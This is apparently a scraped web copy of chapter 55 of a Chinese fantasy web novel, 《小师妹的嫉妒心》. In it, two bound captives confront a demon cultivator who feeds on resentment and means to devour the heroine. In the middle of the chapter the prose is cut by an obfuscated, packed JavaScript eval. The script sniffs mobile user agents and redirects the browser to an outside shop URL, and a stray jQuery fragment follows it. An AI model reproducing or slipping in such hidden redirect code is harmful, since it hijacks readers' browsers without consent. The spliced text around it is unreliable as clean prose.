55.第 55 章

作品:《小师妹的嫉妒心

    武群虽手脚不能动弹,且法术对自己身上特制的绳索不管用,但对付一个普通人的刁难还是绰绰有余。


    他的头化为自己原本灰狼的模样,那老杨见了险些吓倒,将刀举在面前,哆哆嗦嗦地问:“你就是林子里的仙人?”


    武群轻笑,结果老杨以为自己真的歪打正着冲撞了仙人。


    连忙又朝着武群拜了拜,并把菜刀丢到一旁,发誓自己绝无伤害仙人之心。


    武群故作大度地点头,便让老杨离开了。


    “你倒是大度。”桦树林里风骤起,从长发男子颀长的身形忽然从出现在武群的眼前。


    饶是知道魔修总是喜欢神出鬼没,武群的心脏也差点跳出来。


    真是一张,又美又丑的脸。


    见武群别过脸去,小艾没好气地继续说:“那人身上可有着上好的惊惧,你为什么不要?”


    “我要那个做什么?”武群就烦这些传统魔修,非得让自己尝试各种邪魔歪道的修炼方式:“你还想替那个老东西教训我?”


    小艾看见武群不高兴,他便高兴了:“好奇罢了。”


    “我可对你们一点都不好奇。把那个女孩和我都放了,我们不再打扰你,你也别想从我们这拿到什么。”


    武群正色,可惜他被倒吊在树上,显得十分滑稽。


    小艾像是发现了可笑的事:“你的意思是,井水不犯河水?不好意思,你的朋友恐怕不会同意。”


    武群顿感不妙:“我要见她。”


    “好。”这次小艾倒是好说话,直接切断了最上面的吊绳,将武群带回自己的山洞。


    武群一进入了山洞便对上江李充满仇恨的眼睛。


    准确来讲,那仇恨是冲着他身后的小艾去的。


    小艾将被捆住的武群甩到江李身边。


    江李此时已经力竭而动弹不得,加之又有荆棘将腿脚困住。


    两个被捆住的人对小艾来说完全没有威胁。


    武群第一眼看见江李就觉得她情绪不对,轻声说:“他怎么你了?”


    江李缓缓举起手,武群这才发现江李手中拿着一件老式碎花棉衣。


    这棉衣瞧着眼熟,同他那晚在江李家阿婆房间看到的褥子是同样的花纹。武群这才反应过来,出声质问倚坐在石凳上的长发男人:“真是你杀了官兵们带过来的人?”


    小艾饶有兴趣地看着她们二人的变脸:“那些被带来的人,就数这身衣服的主人最美味了。


    “味道不是那种普通的生涩的苦味,咽下去反而会有一种回甘。看来那我老人家在经年岁月中也在用怨恨滋养着自己,因为怨恨所以不忿,在生活中永远保持着刚直的模样,永远挑剔,永远尖锐。


    “应当还是看见自己的小辈有一点像自己想象中的敌人,便会龇牙咧嘴。小姑娘,你家里人是不是也会无缘无故从各方面挑剔你呢?”


    他边回味着边描绘着,好像他在吸收的瞬间就能够体验死者几十年的痛苦。


    江李手指紧紧攥住那件棉衣,指节泛白,可依旧强忍,故作镇定:“那你把你那顿吃过的人都点评一下呢?”


    “你想套我的话?”小艾没有顺着江李的话说,他偏不想让她知道究竟有多少人,究竟有谁被官兵带了过来。


    不仅如此,他还要击溃江李的防线,让她彻底变成他的补品。


    老的虽好,可新鲜的他也想尝一尝。


    江李狠狠盯着前面魔修的脸,她再次看着这人的面孔只觉得恶心。


    同时对方也正盯着她,以一种势在必得的眼神。


    武群见事态不妙,翻了个身挪到江李面前挡住二人的眼神交锋:“他是故意要激怒你!”


    “什么意思?”江李回神。


    还没等武群回答她,小艾已经起身站到武群的背后。


    他鬼魅般的声音从顶上传来:“你甘心吗?今天你会死在我手上。”


    江李嗤笑:“别那么笃定,谁死在谁手上还很难说。”


    “小姑娘挺有自信。”嘴上是夸奖的话,可江李能感受到对面人的恶意已经快要溢出来。


    武群现在什么也做不了,绑他用的绳索乃是魔修一族专门用于羁押同组犯人的,武群有着魔修的血统,便会受到此绳的压制,只要施用任何攻击性的法术便会遭到反噬。


    现下他并不清楚这专食怨念的魔修实力究竟如何,随意出招只会令己方元气大伤。


    武群只好转过身,试图与小艾语言沟通。


    “你到底想要什么?”


    “我想要什么?”小艾纤长的手指指着自己,脸上写满了愉悦:“我想要你和我们一起享用这顿美味。”


    长发男人像是在教小朋友,伸手指了指武群,又拍拍自己的胸口,最后伸出手臂指向江李。


    江李和武群二人都呆愣住了。


    “你们是指?”江李皱眉,不住地喘着粗气,她好像下一瞬间就会暴起去掐死面前的魔修。


    小艾:“你应当知道啊,就是你身上这个。”


    见面前的二人皆是一脸无知,小艾当即想要仰天大笑:“哈哈哈哈哈哈!邬起芸你这个没用的东西居然还不肯跟着我们修炼,现在连魔修附身的气息都觉察不到,真是笨死了!”


    “邬起芸”三个字被念得干脆,完全没有粘连,江李这才知道互通姓名那日自己的听力多么离谱。


    江李还没来得及对武群的真名作出反应,下一秒就听到“魔修附身”四个字。


    “你说的在我身上的魔修,就是那位传说中的‘大人’吗?”江李想到之前那些人认为自己就是那位‘大人’,之前武群所说或许是自己身上无意间沾上了其气味的推测便被推翻了。


    武群,现在应该叫邬起芸,他眼睛睁得大大的,自己也不敢相信这个事实,害怕江李误会他便立即手忙脚乱地解释:“我是真不知道!”


    “你当然不知道。”小艾背过身去,露出他最引以为傲的侧脸:“因为你和那些执迷不悟的妖修一样,都是废物。”


    邬起芸状似没有听到小艾说的话,只是用可怜兮兮的目光望着江李。


    江李在他们二人掰扯这件事的时候,猛然想到一个问题。


    既然魔修均是依靠人来修炼,那么那位“大人”附身在她一个普通修士身上又是为了什么?


    小艾和邬起芸见江李半天都没有开口,均没有继续说下去,二人都紧盯着她。


    一个是害怕江李不再信任他,另一个则是在观察江李的破绽。


    过了半晌,江李才抬起头来,用一种极为真诚的眼光看向小艾:“你和那个大人想怎么服用我?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951254|182151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?


    邬起芸吃惊地望着江李,他觉得江李脑子像是坏掉了:“你在说什么傻话?”


    反观远处的小艾听到后笑得花枝乱颤:“姑娘是叫江李是吧,讲话还真是有意思。”


    江李静静等他的回答,并顺便捂住了邬起芸的嘴巴。


    小艾这才发现江李是非常认真地在询问这个问题,于是他决定大发善心。


    “首先呢,我会让你把我们想要吸收的部分激发到表层,其次便是让大人在你虚弱时刻离体,与我相融,最终,吃掉你。”最后三个字被他说得十分俏皮,好似这是个恶作剧。


    “你倒是实诚。”江李听后冷冷地丢下五个字。


    小艾袒露的胸口,好似自己被江李的话伤到了心:“毕竟你也是个有个光明前途的小女孩,伤你并非我的本意。”


    这话可太荒谬了,江李脑子完全不想动,只想回怼过去:“怎么?你也有另一个灵体附了身?装什么呢?”


    “不要被他蛊惑!”邬起芸的嘴巴被江李捂住,可还是能发出模糊的音节。他知道面前的魔修力量比她们二人强了太多,激怒对方后果不堪设想。


    小艾的目光被此时狼狈的邬起芸所吸引:“少主,你真的很碍事。”


    话毕,他挥了挥手便将武群扔到了石洞门外刚刚江李匿身的石台上。


    洞中此时只剩下了江李和他。


    刚刚江李只想和小艾多多讲话以拖延时间,可对面人讲话确实厉害,每一个动作和每句话的语气都让她烦躁。


    被邬起芸这么一折腾,她突然意识到自己的右手小指再次出现了莫名的刺痛。


    以往每次的刺痛都发生在江李对自己和她人比较时的自厌中,然而这一次的刺痛发生的非常不合时宜。


    我,在忌恨面前这个魔修吗?


    为什么呢?


    因为他的能力强,而我的家人被他所害而我无力回天么?


    江李攥紧拳头,细细感受右手的异样。


    小艾等了半晌,看江李沉默下来,以为是恐惧到失声了,他便心满意足地坐回到自己的石凳上,静静看着江李。


    江李此时还在捋顺思路。


    她记得第一次右手小指有痛感是在见到大师兄尸体那日,恐怕那“大人”就是附在大师兄身体上被带了回来,然后又在现场找到了更适合附身的江李。


    结合之前她对刺痛发生规律的推测,江李想,或许此刻的刺痛并不真正来源于江李,而是那位“大人”。


    忮忌的深层是占有,出现这种情感多是源自于对他人能力或者所有物的羡慕,想要掠夺。


    江李虽然对这个叫“小艾”的魔修有所怨恨,可她并不羡慕这个魔修拥有的一切,相反她觉得小艾此人十分可悲。


    那么这种真正想要掠夺的、占有的情绪的来源就必定是附着在她身上的“大人”。


    “大人”无形无状,只能附着于他人身上,而小艾却可以行动自如。


    现如今“大人”看上的完美“器皿”却被另一个魔修盯上,并要求分食。


    这完全就是挑衅。


    小艾一个劲儿说着自己的分食计划,却没想问一问“大人”愿不愿意分。


    江李低下头不让对方看清自己的脸。既如此,那空子便有的钻了。